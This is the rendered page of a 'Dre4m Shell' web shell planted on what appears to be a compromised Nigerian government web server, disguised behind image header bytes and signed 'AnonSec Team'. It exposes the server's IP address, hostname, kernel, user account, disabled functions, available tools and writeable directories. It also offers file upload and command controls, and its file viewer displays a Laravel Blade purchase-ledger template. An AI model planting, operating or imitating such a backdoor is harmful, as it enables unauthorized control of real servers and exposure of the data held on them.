ÿØÿàJFIFÿáExifMM*ÿÛC  Dre4m Was Here
Dre4m Shell
Server IP : 199.250.214.225  /  Your IP : 18.119.163.164
Web Server : Apache
System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : nicngo5 ( 1001)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /home/nicngo5/grp.nicn.gov.ng/storage/framework/views/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/nicngo5/grp.nicn.gov.ng/storage/framework/views/ee583fd6a7177ab0489fce818c39b22fbab71aac.php
<?php $__env->startSection('pageTitle'); ?>
<?php $__env->stopSection(); ?>

<style type="text/css">
.table, .table tr td, .table tr th
{
border:1px solid #333;
}
.table>thead>tr>th, .table>tbody>tr>th, .table>tfoot>tr>th, .table>thead>tr>td, .table>tbody>tr>td, .table>tfoot>tr>td {
    border-top: 1px solid #333;
}
</style>

<?php $__env->startSection('content'); ?>
<div class="box box-default" style="border-top: none;">
  <div style="margin: 10px 20px;"> <?php if(session('err')): ?>
    <div class="alert alert-warning alert-dismissible hidden-print" role="alert">
      <button type="button" class="close" data-dismiss="alert" aria-label="Close"><span aria-hidden="true">&times;</span> </button>
      <strong>Error!</strong> <?php echo e(session('err')); ?> </div>
    <?php endif; ?> </div>
    
    <?php echo $__env->make('layouts.allReportHeader', ['companyName'=>'defaultName', 'companyAddress'=>'defaultAddress', 'title1'=>'Company Purchase Ledger', 'title2'=>date('d-l, F, Y'), 'showOnlyTitle1'=>1, 'showOnlyTitle2'=>0, 'hideLogos'=>0, 'hideAddress'=>0], \Illuminate\Support\Arr::except(get_defined_vars(), ['__data', '__path']))->render(); ?>
    

    <!-- date picker -->

   
    <div class="row" style="margin-top:5px; padding-top: 15px; padding-left: 30px; padding-right: 30px;">

        <form action="<?php echo e(route('processPurchaseDayBookPage')); ?>" method="post">
            <?php echo e(csrf_field()); ?>

            <div class="col-md-12 hidden-print" style="padding-top: 0px; margin-top: 5px; font-size: 15px;">
                
                <div class="row">
                    
                    <div class="col-md-12">
                        <div class="form-group">
                            <label for="date">Select Company Name</label>
                            <select name="companyName" class="form-control input-lg" required>
                                <option value="">Select</option>
                                <?php if($allContractors): ?>
                                    <?php $__currentLoopData = $allContractors; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $company): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
                                        <option value="<?php echo e($company->id); ?>" <?php echo e(($companyID == $company->id ? 'selected' : '')); ?>><?php echo e($company->contractor); ?></option>
                                    <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>
                                <?php endif; ?>
                            </select>
                        </div>
                    </div>
                    
                    <!--<div class="col-md-2">
                        <div class="form-group">
                            <label for="date" >Account Type</label>
                            <select name="accountType" class="form-control input-lg">
                                <option value="">Select</option>
                                <option value="0" <?php echo e(($accountType == 0 ? 'selected' : '')); ?>>All</option>
                                <option value="1" <?php echo e(($accountType == 1 ? 'selected' : '')); ?>>Recurrent</option> 
                                <option value="4" <?php echo e(($accountType == 4 ? 'selected' : '')); ?>>Capital</option>
                            </select>
                        </div>
                    </div>-->
                    
                     <div class="col-md-3">
                        <div class="form-group">
                            <label for="date" >Payment Type</label>
                            <select name="paymentType" class="form-control input-lg">
                                <option value="">Select</option>
                                <option value="2" <?php echo e(($paymentType == 2 ? 'selected' : '')); ?>>All</option> <!--6-->
                                <option value="1" <?php echo e(($paymentType == 1 ? 'selected' : '')); ?>>Paid</option> <!--6-->
                                <option value="0" <?php echo e(($paymentType == 0 ? 'selected' : '')); ?>>UnPaid</option> <!--6-->
                            </select>
                        </div>
                    </div>
                    
                    <div class="col-md-3">
                        <div class="form-group">
                            <label for="date">Start Date</label>
                            <input type="text" name="getFrom" id="getFrom" class="form-control input-lg" required  value="<?php echo e($dateFrom); ?>">
                        </div>
                    </div>
                    <div class="col-md-3">
                        <div class="form-group">
                            <label for="date">End Date</label>
                            <input type="text" name="getTo" id="getTo" class="form-control input-lg" required  value="<?php echo e($dateTo); ?>">
                        </div>
                    </div>


                    <div class="col-md-3">
                        <div class="form-group">
                            <label >&nbsp;</label>
                            <div align="center">
                                <button type="submit" class="btn btn-success input-lg" style="border: #333; border-radius: 0; outline: none !important; padding: 8px;"><i class="fa fa-search"></i> View Report </button>
                            </div>
                        </div>
                    </div>
                    
                </div><!-- End Row -->
            </div>
        </form>

        <!-- end date picker -->


        <div class="col-md-12" style="padding-top: 0px; margin-top: 10px; font-size: 15px;">
        <table class="table " style="font-size: 16px;border-top: 1px solid #333;">
         
          <tr  style="border-top: 1px solid #333;">
              <th>DATE</th>
              <th>NARRATION</th>
              <th class="text-center">ECONOMIC CODE</th>
              <th>DR</th>
              <th>CR</th>
              <th>BALANCE</th>
              <th>REMARK</th>
          </tr>
         
          
          <?php $serial = 1; $getTotal = 0; ?>
         <?php 
         $contractor = "";
         $contractId = "";
          ?>
          <?php $__currentLoopData = $getCompanyLedger; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $lists): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
          <?php
          if( $lists->contractID != $contractId) {
          echo '
          <tr>
         <td  colspan="8" style=" padding:8px; border:1px solid #333; background-color:; color:#333;"><b>'.$lists->contractor.' :</b></td>
         </tr>
         
          ';
              $contractor = $lists->contractor;
              $contractId = $lists->contractID;
           }

           ?>


              <tr>

                  <td><?php echo e($lists->datePrepared); ?></td>
                    <?php
                        $strArray = explode('Vide', $lists->paymentDescription);
		                $newDscription = $strArray[0];
		                $getBalance = ($lists->cpo_payment == 1 ? (($lists->balance->BBF - $lists->totalPayment)) : (($lists->totalPayment) - ($lists->VATValue) - $lists->WHTValue));
		                $getTotal += $getTotal + $getBalance;
                    ?>
                    
		
                  <td><?php echo e($newDscription); ?></td>
                  <td><?php echo e((isset($lists->economicCode) ? $lists->economicCode : '')); ?> </td>
                  <td><?php echo e(number_format(($lists->totalPayment) - ($lists->VATValue) - $lists->WHTValue, 2)); ?> </td>
                  <td><?php echo e(($lists->cpo_payment == 1 ? number_format(($lists->totalPayment) - ($lists->VATValue) - $lists->WHTValue, 2) : 0.00)); ?> </td>

                  <td>
                      <!-- number_format((lists->balance->BBF - lists->totalPayment), 2, '.', ',')-->
                      <?php echo e(number_format($getBalance, 2)); ?>

                  </td>
                  <td><?php echo ($lists->cpo_payment == 1 ? '<span class="text-success">PAID</span>' : '<span class="text-danger">UNPAID</span>'); ?></td>

              </tr>
          <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>
         
         <tr>
            <td colspan="5" class="text-right"><strong>TOTAL: </strong></td>
            <td><?php echo e(number_format($getTotal, 2)); ?></td>
            <td></td>
        </tr>
                
                  
        </table>
        <div class="hidden-print"></div>
      </div>
    </div>
    <!-- /.col --> 
  </div>
  <!-- /.row --> 
  
</div>
<?php $__env->stopSection(); ?>
<?php $__env->startSection('styles'); ?>
<link rel="stylesheet" type="text/css" href="<?php echo e(asset('assets/css/custom-style.css')); ?>">
<link rel="stylesheet" type="text/css" href="<?php echo e(asset('assets/css/daterangepicker.css')); ?>">
<link rel="stylesheet" type="text/css" href="<?php echo e(asset('assets/css/datepicker.min.css')); ?>">
<?php $__env->stopSection(); ?>
<?php $__env->startSection('scripts'); ?> 
<script src="<?php echo e(asset('assets/js/jquery-ui.min.js')); ?>"></script> 
<!-- autocomplete js--> 
<script src="<?php echo e(asset('assets/js/jquery.autocomplete.min.js')); ?>" ></script> 
<script src="<?php echo e(asset('assets/js/my-hr.js')); ?>" type="text/javascript"></script>
<script src="<?php echo e(asset('assets/js/moment.js')); ?>" type="text/javascript"></script> 
<script src="<?php echo e(asset('assets/js/daterangepicker.js')); ?>" type="text/javascript"></script>

<script type="text/javascript">
  $(function() {
      $('#searchName').attr("disabled", true);
      $("#autocomplete").autocomplete({
        serviceUrl: murl + '/data/searchUser',
        minLength: 2,
        onSelect: function (suggestion) {
            $('#fileNo').val(suggestion.data);
            $('#searchName').attr("disabled", false);
            //showAll();
        }
      });
  });
</script>



<script type="text/javascript">

    $( function() {
        $("#getFrom").datepicker({
            changeMonth: true,
            changeYear: true,
            yearRange: '1910:2090', // specifying a hard coded year range
            showOtherMonths: true,
            selectOtherMonths: true,
            dateFormat: "dd MM, yy",
            //dateFormat: "D, MM d, yy",
            onSelect: function(dateText, inst){
                var theDate = new Date(Date.parse($(this).datepicker('getDate')));
                var dateFormatted = $.datepicker.formatDate('dd MM yy', theDate);
                $("#getFrom").val(dateFormatted);
            },
        });

    } );

    $( function() {
        $("#getTo").datepicker({
            changeMonth: true,
            changeYear: true,
            yearRange: '1910:2090', // specifying a hard coded year range
            showOtherMonths: true,
            selectOtherMonths: true,
            dateFormat: "dd MM, yy",
            //dateFormat: "D, MM d, yy",
            onSelect: function(dateText, inst){
                var theDate = new Date(Date.parse($(this).datepicker('getDate')));
                var dateFormatted = $.datepicker.formatDate('dd MM yy', theDate);
                $("#getTo").val(dateFormatted);
            },
        });

    } );
</script>

 
<?php $__env->stopSection(); ?>

<?php $__env->startSection('stypes'); ?>
<style type="text/css">
    @import  url(https://fonts.googleapis.com/css?family=Open+Sans);
    .table, .table tr td, .table tr th
    {
        border: 1px solid #333;
    }
    .table>thead>tr>th, .table>tbody>tr>th, .table>tfoot>tr>th, .table>thead>tr>td, .table>tbody>tr>td, .table>tfoot>tr>td, .table tr th {
        border-top: 1px solid #333;
    }
body{
  background: #f2f2f2;
  font-family: 'Open Sans', sans-serif;
}

.search {
  width: 100%;
  position: relative; 
}

.searchTerm {
  float: left;
  width: 100%;
  border: 3px solid #00B4CC;
  padding: 5px;
  height: 20px;
  border-radius: 5px;
  outline: none;
  color: #9DBFAF; 
}

.searchTerm:focus{
  color: #00B4CC;
}

.searchButton {
  position: absolute;  
  right: -50px;
  width: 40px;

  height: 36px;
  border: 1px solid #00B4CC;
  background: #00B4CC;
  text-align: center;
  color: #fff;
  border-radius: 5px;
  cursor: pointer;
  font-size: 20px;
}

/*Resize the wrap to see the search bar change!*/
.wrap{
  width: 30%; 
  position: absolute;
  top: 50%;
  left: 50%;
  transform: translate(-50%, -50%);
}
.table, .table tr td, .table tr th
{
border:1px solid #333;
}
</style>
<?php $__env->stopSection(); ?>

<?php $__env->startSection('styles'); ?>
<style> 
  .textbox { 
    border: 1px;
    background-color: #33AD0A; 
    outline:0; 
    height:25px; 
    width: 275px; 
  } 

  .autocomplete-suggestions{
    color:#fff;
    font-size: 13px;
  }
</style>
<?php $__env->stopSection(); ?>
<?php echo $__env->make('layouts.layout', \Illuminate\Support\Arr::except(get_defined_vars(), ['__data', '__path']))->render(); ?><?php /**PATH /home/nicngo5/grp.nicn.gov.ng/resources/views/companyPurchaseDayBook/purchaseDayBook.blade.php ENDPATH**/ ?>

Anon7 - 2022
AnonSec Team